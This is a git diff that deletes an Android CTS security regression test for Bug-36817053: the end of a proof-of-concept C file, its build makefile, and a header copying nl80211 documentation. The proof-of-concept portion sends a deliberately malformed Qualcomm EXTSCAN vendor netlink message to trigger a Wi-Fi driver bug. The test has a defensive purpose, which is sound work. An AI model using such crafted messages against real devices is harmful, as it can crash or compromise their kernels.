-  struct nlattr *na_apTh = apTh;
-
-  na_apTh = (struct nlattr *)((char *)na_apTh + NLMSG_ALIGN(na_apTh->nla_len));
-  na_apTh->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND;
-  na_apTh->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_apTh) = 0x1;
-  apTh_size += NLMSG_ALIGN(na_apTh->nla_len);
-
-  na_apTh = (struct nlattr *)((char *)na_apTh + NLMSG_ALIGN(na_apTh->nla_len));
-  na_apTh->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD;
-  na_apTh->nla_len = 0 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_apTh) = -1;
-  apTh_size += NLMSG_ALIGN(na_apTh->nla_len);
-
-  char middlebuf[256] = {0};
-  int middlebuf_size = 0;
-  struct nlattr *na_middle = middlebuf;
-
-  na_middle =
-      (struct nlattr *)((char *)na_middle + NLMSG_ALIGN(na_middle->nla_len));
-  na_middle->nla_type = 0;
-  na_middle->nla_len = apTh_size + NLA_HDRLEN;
-  memcpy(NLA_DATA(na_middle), apTh, apTh_size);
-  middlebuf_size += NLMSG_ALIGN(na_middle->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC;
-  na_data->nla_len = middlebuf_size + NLA_HDRLEN;
-  memcpy(NLA_DATA(na_data), middlebuf, middlebuf_size);
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_VENDOR_DATA;
-  na->nla_len = data_size + NLA_HDRLEN;
-  memcpy(NLA_DATA(na), data, data_size);
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  memset(&ans, 0, sizeof(ans));
-
-  ret = recv(fd, &ans, sizeof(ans), 0);
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  char *temp = na;
-
-  return ret;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk b/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
deleted file mode 100644
index 2d3d8eb..0000000
--- a/hostsidetests/security/securityPatch/Bug-36817053/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-36817053
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36817053/local_poc.h b/hostsidetests/security/securityPatch/Bug-36817053/local_poc.h
deleted file mode 100644
index f6f8de3..0000000
--- a/hostsidetests/security/securityPatch/Bug-36817053/local_poc.h
+++ /dev/null
@@ -1,4379 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __LINUX_LOCAL_POC_H
-#define __LINUX_LOCAL_POC_H
-
-#include <linux/types.h>
-
-#define NL80211_GENL_NAME "nl80211"
-
-/**
- * DOC: Station handling
- *
- * Stations are added per interface, but a special case exists with VLAN
- * interfaces. When a station is bound to an AP interface, it may be moved
- * into a VLAN identified by a VLAN interface index (%NL80211_ATTR_STA_VLAN).
- * The station is still assumed to belong to the AP interface it was added
- * to.
- *
- * Station handling varies per interface type and depending on the driver's
- * capabilities.
- *
- * For drivers supporting TDLS with external setup (WIPHY_FLAG_SUPPORTS_TDLS
- * and WIPHY_FLAG_TDLS_EXTERNAL_SETUP), the station lifetime is as follows:
- *  - a setup station entry is added, not yet authorized, without any rate
- *    or capability information, this just exists to avoid race conditions
- *  - when the TDLS setup is done, a single NL80211_CMD_SET_STATION is valid
- *    to add rate and capability information to the station and at the same
- *    time mark it authorized.
- *  - %NL80211_TDLS_ENABLE_LINK is then used
- *  - after this, the only valid operation is to remove it by tearing down
- *    the TDLS link (%NL80211_TDLS_DISABLE_LINK)
- *
- * TODO: need more info for other interface types
- */
-
-/**
- * DOC: Frame transmission/registration support
- *
- * Frame transmission and registration support exists to allow userspace
- * management entities such as wpa_supplicant react to management frames
- * that are not being handled by the kernel. This includes, for example,
- * certain classes of action frames that cannot be handled in the kernel
- * for various reasons.
- *
- * Frame registration is done on a per-interface basis and registrations
- * cannot be removed other than by closing the socket. It is possible to
- * specify a registration filter to register, for example, only for a
- * certain type of action frame. In particular with action frames, those
- * that userspace registers for will not be returned as unhandled by the
- * driver, so that the registered application has to take responsibility
- * for doing that.
- *
- * The type of frame that can be registered for is also dependent on the
- * driver and interface type. The frame types are advertised in wiphy
- * attributes so applications know what to expect.
- *
- * NOTE: When an interface changes type while registrations are active,
- *       these registrations are ignored until the interface type is
- *       changed again. This means that changing the interface type can
- *       lead to a situation that couldn't otherwise be produced, but
- *       any such registrations will be dormant in the sense that they
- *       will not be serviced, i.e. they will not receive any frames.
- *
- * Frame transmission allows userspace to send for example the required
- * responses to action frames. It is subject to some sanity checking,
- * but many frames can be transmitted. When a frame was transmitted, its
- * status is indicated to the sending socket.
- *
- * For more technical details, see the corresponding command descriptions
- * below.
- */
-
-/**
- * DOC: Virtual interface / concurrency capabilities
- *
- * Some devices are able to operate with virtual MACs, they can have
- * more than one virtual interface. The capability handling for this
- * is a bit complex though, as there may be a number of restrictions
- * on the types of concurrency that are supported.
- *
- * To start with, each device supports the interface types listed in
- * the %NL80211_ATTR_SUPPORTED_IFTYPES attribute, but by listing the
- * types there no concurrency is implied.
- *
- * Once concurrency is desired, more attributes must be observed:
- * To start with, since some interface types are purely managed in
- * software, like the AP-VLAN type in mac80211 for example, there's
- * an additional list of these, they can be added at any time and
- * are only restricted by some semantic restrictions (e.g. AP-VLAN
- * cannot be added without a corresponding AP interface). This list
- * is exported in the %NL80211_ATTR_SOFTWARE_IFTYPES attribute.
- *
- * Further, the list of supported combinations is exported. This is
- * in the %NL80211_ATTR_INTERFACE_COMBINATIONS attribute. Basically,
- * it exports a list of "groups", and at any point in time the
- * interfaces that are currently active must fall into any one of
- * the advertised groups. Within each group, there are restrictions
- * on the number of interfaces of different types that are supported
- * and also the number of different channels, along with potentially
- * some other restrictions. See &enum nl80211_if_combination_attrs.
- *
- * All together, these attributes define the concurrency of virtual
- * interfaces that a given device supports.
- */
-
-/**
- * DOC: packet coalesce support
- *
- * In most cases, host that receives IPv4 and IPv6 multicast/broadcast
- * packets does not do anything with these packets. Therefore the
- * reception of these unwanted packets causes unnecessary processing
- * and power consumption.
- *
- * Packet coalesce feature helps to reduce number of received interrupts
- * to host by buffering these packets in firmware/hardware for some
- * predefined time. Received interrupt will be generated when one of the
- * following events occur.
- * a) Expiration of hardware timer whose expiration time is set to maximum
- * coalescing delay of matching coalesce rule.
- * b) Coalescing buffer in hardware reaches it's limit.
- * c) Packet doesn't match any of the configured coalesce rules.
- *
- * User needs to configure following parameters for creating a coalesce
- * rule.
- * a) Maximum coalescing delay
- * b) List of packet patterns which needs to be matched
- * c) Condition for coalescence. pattern 'match' or 'no match'
- * Multiple such rules can be created.
- */
-
-/**
- * enum nl80211_commands - supported nl80211 commands
- *
- * @NL80211_CMD_UNSPEC: unspecified command to catch errors
- *
- * @NL80211_CMD_GET_WIPHY: request information about a wiphy or dump request
- *	to get a list of all present wiphys.
- * @NL80211_CMD_SET_WIPHY: set wiphy parameters, needs %NL80211_ATTR_WIPHY or
- *	%NL80211_ATTR_IFINDEX; can be used to set %NL80211_ATTR_WIPHY_NAME,
- *	%NL80211_ATTR_WIPHY_TXQ_PARAMS, %NL80211_ATTR_WIPHY_FREQ (and the
- *	attributes determining the channel width; this is used for setting
- *	monitor mode channel),  %NL80211_ATTR_WIPHY_RETRY_SHORT,
- *	%NL80211_ATTR_WIPHY_RETRY_LONG, %NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
- *	and/or %NL80211_ATTR_WIPHY_RTS_THRESHOLD.
- *	However, for setting the channel, see %NL80211_CMD_SET_CHANNEL
- *	instead, the support here is for backward compatibility only.
- * @NL80211_CMD_NEW_WIPHY: Newly created wiphy, response to get request
- *	or rename notification. Has attributes %NL80211_ATTR_WIPHY and
- *	%NL80211_ATTR_WIPHY_NAME.
- * @NL80211_CMD_DEL_WIPHY: Wiphy deleted. Has attributes
- *	%NL80211_ATTR_WIPHY and %NL80211_ATTR_WIPHY_NAME.
- *
- * @NL80211_CMD_GET_INTERFACE: Request an interface's configuration;
- *	either a dump request on a %NL80211_ATTR_WIPHY or a specific get
- *	on an %NL80211_ATTR_IFINDEX is supported.
- * @NL80211_CMD_SET_INTERFACE: Set type of a virtual interface, requires
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_IFTYPE.
- * @NL80211_CMD_NEW_INTERFACE: Newly created virtual interface or response
- *	to %NL80211_CMD_GET_INTERFACE. Has %NL80211_ATTR_IFINDEX,
- *	%NL80211_ATTR_WIPHY and %NL80211_ATTR_IFTYPE attributes. Can also
- *	be sent from userspace to request creation of a new virtual interface,
- *	then requires attributes %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFTYPE and
- *	%NL80211_ATTR_IFNAME.
- * @NL80211_CMD_DEL_INTERFACE: Virtual interface was deleted, has attributes
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_WIPHY. Can also be sent from
- *	userspace to request deletion of a virtual interface, then requires
- *	attribute %NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_GET_KEY: Get sequence counter information for a key specified
- *	by %NL80211_ATTR_KEY_IDX and/or %NL80211_ATTR_MAC.
- * @NL80211_CMD_SET_KEY: Set key attributes %NL80211_ATTR_KEY_DEFAULT,
- *	%NL80211_ATTR_KEY_DEFAULT_MGMT, or %NL80211_ATTR_KEY_THRESHOLD.
- * @NL80211_CMD_NEW_KEY: add a key with given %NL80211_ATTR_KEY_DATA,
- *	%NL80211_ATTR_KEY_IDX, %NL80211_ATTR_MAC, %NL80211_ATTR_KEY_CIPHER,
- *	and %NL80211_ATTR_KEY_SEQ attributes.
- * @NL80211_CMD_DEL_KEY: delete a key identified by %NL80211_ATTR_KEY_IDX
- *	or %NL80211_ATTR_MAC.
- *
- * @NL80211_CMD_GET_BEACON: (not used)
- * @NL80211_CMD_SET_BEACON: change the beacon on an access point interface
- *	using the %NL80211_ATTR_BEACON_HEAD and %NL80211_ATTR_BEACON_TAIL
- *	attributes. For drivers that generate the beacon and probe responses
- *	internally, the following attributes must be provided: %NL80211_ATTR_IE,
- *	%NL80211_ATTR_IE_PROBE_RESP and %NL80211_ATTR_IE_ASSOC_RESP.
- * @NL80211_CMD_START_AP: Start AP operation on an AP interface, parameters
- *	are like for %NL80211_CMD_SET_BEACON, and additionally parameters that
- *	do not change are used, these include %NL80211_ATTR_BEACON_INTERVAL,
- *	%NL80211_ATTR_DTIM_PERIOD, %NL80211_ATTR_SSID,
- *	%NL80211_ATTR_HIDDEN_SSID, %NL80211_ATTR_CIPHERS_PAIRWISE,
- *	%NL80211_ATTR_CIPHER_GROUP, %NL80211_ATTR_WPA_VERSIONS,
- *	%NL80211_ATTR_AKM_SUITES, %NL80211_ATTR_PRIVACY,
- *	%NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_INACTIVITY_TIMEOUT,
- *	%NL80211_ATTR_ACL_POLICY and %NL80211_ATTR_MAC_ADDRS.
- *	The channel to use can be set on the interface or be given using the
- *	%NL80211_ATTR_WIPHY_FREQ and the attributes determining channel width.
- * @NL80211_CMD_NEW_BEACON: old alias for %NL80211_CMD_START_AP
- * @NL80211_CMD_STOP_AP: Stop AP operation on the given interface
- * @NL80211_CMD_DEL_BEACON: old alias for %NL80211_CMD_STOP_AP
- *
- * @NL80211_CMD_GET_STATION: Get station attributes for station identified by
- *	%NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_STATION: Set station attributes for station identified by
- *	%NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_NEW_STATION: Add a station with given attributes to the
- *	the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_DEL_STATION: Remove a station identified by %NL80211_ATTR_MAC
- *	or, if no MAC address given, all stations, on the interface identified
- *	by %NL80211_ATTR_IFINDEX. %NL80211_ATTR_MGMT_SUBTYPE and
- *	%NL80211_ATTR_REASON_CODE can optionally be used to specify which type
- *	of disconnection indication should be sent to the station
- *	(Deauthentication or Disassociation frame and reason code for that
- *	frame).
- *
- * @NL80211_CMD_GET_MPATH: Get mesh path attributes for mesh path to
- * 	destination %NL80211_ATTR_MAC on the interface identified by
- * 	%NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_MPATH:  Set mesh path attributes for mesh path to
- * 	destination %NL80211_ATTR_MAC on the interface identified by
- * 	%NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_NEW_MPATH: Create a new mesh path for the destination given by
- *	%NL80211_ATTR_MAC via %NL80211_ATTR_MPATH_NEXT_HOP.
- * @NL80211_CMD_DEL_MPATH: Delete a mesh path to the destination given by
- *	%NL80211_ATTR_MAC.
- * @NL80211_CMD_NEW_PATH: Add a mesh path with given attributes to the
- *	the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_DEL_PATH: Remove a mesh path identified by %NL80211_ATTR_MAC
- *	or, if no MAC address given, all mesh paths, on the interface identified
- *	by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_BSS: Set BSS attributes for BSS identified by
- *	%NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_GET_REG: ask the wireless core to send us its currently set
- * 	regulatory domain.
- * @NL80211_CMD_SET_REG: Set current regulatory domain. CRDA sends this command
- *	after being queried by the kernel. CRDA replies by sending a regulatory
- *	domain structure which consists of %NL80211_ATTR_REG_ALPHA set to our
- *	current alpha2 if it found a match. It also provides
- * 	NL80211_ATTR_REG_RULE_FLAGS, and a set of regulatory rules. Each
- * 	regulatory rule is a nested set of attributes  given by
- * 	%NL80211_ATTR_REG_RULE_FREQ_[START|END] and
- * 	%NL80211_ATTR_FREQ_RANGE_MAX_BW with an attached power rule given by
- * 	%NL80211_ATTR_REG_RULE_POWER_MAX_ANT_GAIN and
- * 	%NL80211_ATTR_REG_RULE_POWER_MAX_EIRP.
- * @NL80211_CMD_REQ_SET_REG: ask the wireless core to set the regulatory domain
- * 	to the specified ISO/IEC 3166-1 alpha2 country code. The core will
- * 	store this as a valid request and then query userspace for it.
- *
- * @NL80211_CMD_GET_MESH_CONFIG: Get mesh networking properties for the
- *	interface identified by %NL80211_ATTR_IFINDEX
- *
- * @NL80211_CMD_SET_MESH_CONFIG: Set mesh networking properties for the
- *      interface identified by %NL80211_ATTR_IFINDEX
- *
- * @NL80211_CMD_SET_MGMT_EXTRA_IE: Set extra IEs for management frames. The
- *	interface is identified with %NL80211_ATTR_IFINDEX and the management
- *	frame subtype with %NL80211_ATTR_MGMT_SUBTYPE. The extra IE data to be
- *	added to the end of the specified management frame is specified with
- *	%NL80211_ATTR_IE. If the command succeeds, the requested data will be
- *	added to all specified management frames generated by
- *	kernel/firmware/driver.
- *	Note: This command has been removed and it is only reserved at this
- *	point to avoid re-using existing command number. The functionality this
- *	command was planned for has been provided with cleaner design with the
- *	option to specify additional IEs in NL80211_CMD_TRIGGER_SCAN,
- *	NL80211_CMD_AUTHENTICATE, NL80211_CMD_ASSOCIATE,
- *	NL80211_CMD_DEAUTHENTICATE, and NL80211_CMD_DISASSOCIATE.
- *
- * @NL80211_CMD_GET_SCAN: get scan results
- * @NL80211_CMD_TRIGGER_SCAN: trigger a new scan with the given parameters
- *	%NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
- *	probe requests at CCK rate or not. %NL80211_ATTR_MAC can be used to
- *	specify a BSSID to scan for; if not included, the wildcard BSSID will
- *	be used.
- * @NL80211_CMD_NEW_SCAN_RESULTS: scan notification (as a reply to
- *	NL80211_CMD_GET_SCAN and on the "scan" multicast group)
- * @NL80211_CMD_SCAN_ABORTED: scan was aborted, for unspecified reasons,
- *	partial scan results may be available
- *
- * @NL80211_CMD_START_SCHED_SCAN: start a scheduled scan at certain
- *	intervals, as specified by %NL80211_ATTR_SCHED_SCAN_INTERVAL.
- *	Like with normal scans, if SSIDs (%NL80211_ATTR_SCAN_SSIDS)
- *	are passed, they are used in the probe requests.  For
- *	broadcast, a broadcast SSID must be passed (ie. an empty
- *	string).  If no SSID is passed, no probe requests are sent and
- *	a passive scan is performed.  %NL80211_ATTR_SCAN_FREQUENCIES,
- *	if passed, define which channels should be scanned; if not
- *	passed, all channels allowed for the current regulatory domain
- *	are used.  Extra IEs can also be passed from the userspace by
- *	using the %NL80211_ATTR_IE attribute.
- * @NL80211_CMD_STOP_SCHED_SCAN: stop a scheduled scan. Returns -ENOENT if
- *	scheduled scan is not running. The caller may assume that as soon
- *	as the call returns, it is safe to start a new scheduled scan again.
- * @NL80211_CMD_SCHED_SCAN_RESULTS: indicates that there are scheduled scan
- *	results available.
- * @NL80211_CMD_SCHED_SCAN_STOPPED: indicates that the scheduled scan has
- *	stopped.  The driver may issue this event at any time during a
- *	scheduled scan.  One reason for stopping the scan is if the hardware
- *	does not support starting an association or a normal scan while running
- *	a scheduled scan.  This event is also sent when the
- *	%NL80211_CMD_STOP_SCHED_SCAN command is received or when the interface
- *	is brought down while a scheduled scan was running.
- *
- * @NL80211_CMD_GET_SURVEY: get survey resuls, e.g. channel occupation
- *      or noise level
- * @NL80211_CMD_NEW_SURVEY_RESULTS: survey data notification (as a reply to
- *	NL80211_CMD_GET_SURVEY and on the "scan" multicast group)
- *
- * @NL80211_CMD_SET_PMKSA: Add a PMKSA cache entry, using %NL80211_ATTR_MAC
- *	(for the BSSID) and %NL80211_ATTR_PMKID.
- * @NL80211_CMD_DEL_PMKSA: Delete a PMKSA cache entry, using %NL80211_ATTR_MAC
- *	(for the BSSID) and %NL80211_ATTR_PMKID.
- * @NL80211_CMD_FLUSH_PMKSA: Flush all PMKSA cache entries.
- *
- * @NL80211_CMD_REG_CHANGE: indicates to userspace the regulatory domain
- * 	has been changed and provides details of the request information
- * 	that caused the change such as who initiated the regulatory request
- * 	(%NL80211_ATTR_REG_INITIATOR), the wiphy_idx
- * 	(%NL80211_ATTR_REG_ALPHA2) on which the request was made from if
- * 	the initiator was %NL80211_REGDOM_SET_BY_COUNTRY_IE or
- * 	%NL80211_REGDOM_SET_BY_DRIVER, the type of regulatory domain
- * 	set (%NL80211_ATTR_REG_TYPE), if the type of regulatory domain is
- * 	%NL80211_REG_TYPE_COUNTRY the alpha2 to which we have moved on
- * 	to (%NL80211_ATTR_REG_ALPHA2).
- * @NL80211_CMD_REG_BEACON_HINT: indicates to userspace that an AP beacon
- * 	has been found while world roaming thus enabling active scan or
- * 	any mode of operation that initiates TX (beacons) on a channel
- * 	where we would not have been able to do either before. As an example
- * 	if you are world roaming (regulatory domain set to world or if your
- * 	driver is using a custom world roaming regulatory domain) and while
- * 	doing a passive scan on the 5 GHz band you find an AP there (if not
- * 	on a DFS channel) you will now be able to actively scan for that AP
- * 	or use AP mode on your card on that same channel. Note that this will
- * 	never be used for channels 1-11 on the 2 GHz band as they are always
- * 	enabled world wide. This beacon hint is only sent if your device had
- * 	either disabled active scanning or beaconing on a channel. We send to
- * 	userspace the wiphy on which we removed a restriction from
- * 	(%NL80211_ATTR_WIPHY) and the channel on which this occurred
- * 	before (%NL80211_ATTR_FREQ_BEFORE) and after (%NL80211_ATTR_FREQ_AFTER)
- * 	the beacon hint was processed.
- *
- * @NL80211_CMD_AUTHENTICATE: authentication request and notification.
- *	This command is used both as a command (request to authenticate) and
- *	as an event on the "mlme" multicast group indicating completion of the
- *	authentication process.
- *	When used as a command, %NL80211_ATTR_IFINDEX is used to identify the
- *	interface. %NL80211_ATTR_MAC is used to specify PeerSTAAddress (and
- *	BSSID in case of station mode). %NL80211_ATTR_SSID is used to specify
- *	the SSID (mainly for association, but is included in authentication
- *	request, too, to help BSS selection. %NL80211_ATTR_WIPHY_FREQ is used
- *	to specify the frequence of the channel in MHz. %NL80211_ATTR_AUTH_TYPE
- *	is used to specify the authentication type. %NL80211_ATTR_IE is used to
- *	define IEs (VendorSpecificInfo, but also including RSN IE and FT IEs)
- *	to be added to the frame.
- *	When used as an event, this reports reception of an Authentication
- *	frame in station and IBSS modes when the local MLME processed the
- *	frame, i.e., it was for the local STA and was received in correct
- *	state. This is similar to MLME-AUTHENTICATE.confirm primitive in the
- *	MLME SAP interface (kernel providing MLME, userspace SME). The
- *	included %NL80211_ATTR_FRAME attribute contains the management frame
- *	(including both the header and frame body, but not FCS). This event is
- *	also used to indicate if the authentication attempt timed out. In that
- *	case the %NL80211_ATTR_FRAME attribute is replaced with a
- *	%NL80211_ATTR_TIMED_OUT flag (and %NL80211_ATTR_MAC to indicate which
- *	pending authentication timed out).
- * @NL80211_CMD_ASSOCIATE: association request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Association and Reassociation
- *	(similar to MLME-ASSOCIATE.request, MLME-REASSOCIATE.request,
- *	MLME-ASSOCIATE.confirm or MLME-REASSOCIATE.confirm primitives).
- * @NL80211_CMD_DEAUTHENTICATE: deauthentication request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Deauthentication frames (similar to
- *	MLME-DEAUTHENTICATION.request and MLME-DEAUTHENTICATE.indication
- *	primitives).
- * @NL80211_CMD_DISASSOCIATE: disassociation request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Disassociation frames (similar to
- *	MLME-DISASSOCIATE.request and MLME-DISASSOCIATE.indication primitives).
- *
- * @NL80211_CMD_MICHAEL_MIC_FAILURE: notification of a locally detected Michael
- *	MIC (part of TKIP) failure; sent on the "mlme" multicast group; the
- *	event includes %NL80211_ATTR_MAC to describe the source MAC address of
- *	the frame with invalid MIC, %NL80211_ATTR_KEY_TYPE to show the key
- *	type, %NL80211_ATTR_KEY_IDX to indicate the key identifier, and
- *	%NL80211_ATTR_KEY_SEQ to indicate the TSC value of the frame; this
- *	event matches with MLME-MICHAELMICFAILURE.indication() primitive
- *
- * @NL80211_CMD_JOIN_IBSS: Join a new IBSS -- given at least an SSID and a
- *	FREQ attribute (for the initial frequency if no peer can be found)
- *	and optionally a MAC (as BSSID) and FREQ_FIXED attribute if those
- *	should be fixed rather than automatically determined. Can only be
- *	executed on a network interface that is UP, and fixed BSSID/FREQ
- *	may be rejected. Another optional parameter is the beacon interval,
- *	given in the %NL80211_ATTR_BEACON_INTERVAL attribute, which if not
- *	given defaults to 100 TU (102.4ms).
- * @NL80211_CMD_LEAVE_IBSS: Leave the IBSS -- no special arguments, the IBSS is
- *	determined by the network interface.
- *
- * @NL80211_CMD_TESTMODE: testmode command, takes a wiphy (or ifindex) attribute
- *	to identify the device, and the TESTDATA blob attribute to pass through
- *	to the driver.
- *
- * @NL80211_CMD_CONNECT: connection request and notification; this command
- *	requests to connect to a specified network but without separating
- *	auth and assoc steps. For this, you need to specify the SSID in a
- *	%NL80211_ATTR_SSID attribute, and can optionally specify the association
- *	IEs in %NL80211_ATTR_IE, %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_USE_MFP,
- *	%NL80211_ATTR_MAC, %NL80211_ATTR_WIPHY_FREQ, %NL80211_ATTR_CONTROL_PORT,
- *	%NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
- *	%NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT, %NL80211_ATTR_MAC_HINT, and
- *	%NL80211_ATTR_WIPHY_FREQ_HINT.
- *	If included, %NL80211_ATTR_MAC and %NL80211_ATTR_WIPHY_FREQ are
- *	restrictions on BSS selection, i.e., they effectively prevent roaming
- *	within the ESS. %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT
- *	can be included to provide a recommendation of the initial BSS while
- *	allowing the driver to roam to other BSSes within the ESS and also to
- *	ignore this recommendation if the indicated BSS is not ideal. Only one
- *	set of BSSID,frequency parameters is used (i.e., either the enforcing
- *	%NL80211_ATTR_MAC,%NL80211_ATTR_WIPHY_FREQ or the less strict
- *	%NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT).
- *	Background scan period can optionally be
- *	specified in %NL80211_ATTR_BG_SCAN_PERIOD,
- *	if not specified default background scan configuration
- *	in driver is used and if period value is 0, bg scan will be disabled.
- *	This attribute is ignored if driver does not support roam scan.
- *	It is also sent as an event, with the BSSID and response IEs when the
- *	connection is established or failed to be established. This can be
- *	determined by the STATUS_CODE attribute.
- * @NL80211_CMD_ROAM: request that the card roam (currently not implemented),
- *	sent as an event when the card/driver roamed by itself.
- * @NL80211_CMD_DISCONNECT: drop a given connection; also used to notify
- *	userspace that a connection was dropped by the AP or due to other
- *	reasons, for this the %NL80211_ATTR_DISCONNECTED_BY_AP and
- *	%NL80211_ATTR_REASON_CODE attributes are used.
- *
- * @NL80211_CMD_SET_WIPHY_NETNS: Set a wiphy's netns. Note that all devices
- *	associated with this wiphy must be down and will follow.
- *
- * @NL80211_CMD_REMAIN_ON_CHANNEL: Request to remain awake on the specified
- *	channel for the specified amount of time. This can be used to do
- *	off-channel operations like transmit a Public Action frame and wait for
- *	a response while being associated to an AP on another channel.
- *	%NL80211_ATTR_IFINDEX is used to specify which interface (and thus
- *	radio) is used. %NL80211_ATTR_WIPHY_FREQ is used to specify the
- *	frequency for the operation.
- *	%NL80211_ATTR_DURATION is used to specify the duration in milliseconds
- *	to remain on the channel. This command is also used as an event to
- *	notify when the requested duration starts (it may take a while for the
- *	driver to schedule this time due to other concurrent needs for the
- *	radio).
- *	When called, this operation returns a cookie (%NL80211_ATTR_COOKIE)
- *	that will be included with any events pertaining to this request;
- *	the cookie is also used to cancel the request.
- * @NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL: This command can be used to cancel a
- *	pending remain-on-channel duration if the desired operation has been
- *	completed prior to expiration of the originally requested duration.
- *	%NL80211_ATTR_WIPHY or %NL80211_ATTR_IFINDEX is used to specify the
- *	radio. The %NL80211_ATTR_COOKIE attribute must be given as well to
- *	uniquely identify the request.
- *	This command is also used as an event to notify when a requested
- *	remain-on-channel duration has expired.
- *
- * @NL80211_CMD_SET_TX_BITRATE_MASK: Set the mask of rates to be used in TX
- *	rate selection. %NL80211_ATTR_IFINDEX is used to specify the interface
- *	and @NL80211_ATTR_TX_RATES the set of allowed rates.
- *
- * @NL80211_CMD_REGISTER_FRAME: Register for receiving certain mgmt frames
- *	(via @NL80211_CMD_FRAME) for processing in userspace. This command
- *	requires an interface index, a frame type attribute (optional for
- *	backward compatibility reasons, if not given assumes action frames)
- *	and a match attribute containing the first few bytes of the frame
- *	that should match, e.g. a single byte for only a category match or
- *	four bytes for vendor frames including the OUI. The registration
- *	cannot be dropped, but is removed automatically when the netlink
- *	socket is closed. Multiple registrations can be made.
- * @NL80211_CMD_REGISTER_ACTION: Alias for @NL80211_CMD_REGISTER_FRAME for
- *	backward compatibility
- * @NL80211_CMD_FRAME: Management frame TX request and RX notification. This
- *	command is used both as a request to transmit a management frame and
- *	as an event indicating reception of a frame that was not processed in
- *	kernel code, but is for us (i.e., which may need to be processed in a
- *	user space application). %NL80211_ATTR_FRAME is used to specify the
- *	frame contents (including header). %NL80211_ATTR_WIPHY_FREQ is used
- *	to indicate on which channel the frame is to be transmitted or was
- *	received. If this channel is not the current channel (remain-on-channel
- *	or the operational channel) the device will switch to the given channel
- *	and transmit the frame, optionally waiting for a response for the time
- *	specified using %NL80211_ATTR_DURATION. When called, this operation
- *	returns a cookie (%NL80211_ATTR_COOKIE) that will be included with the
- *	TX status event pertaining to the TX request.
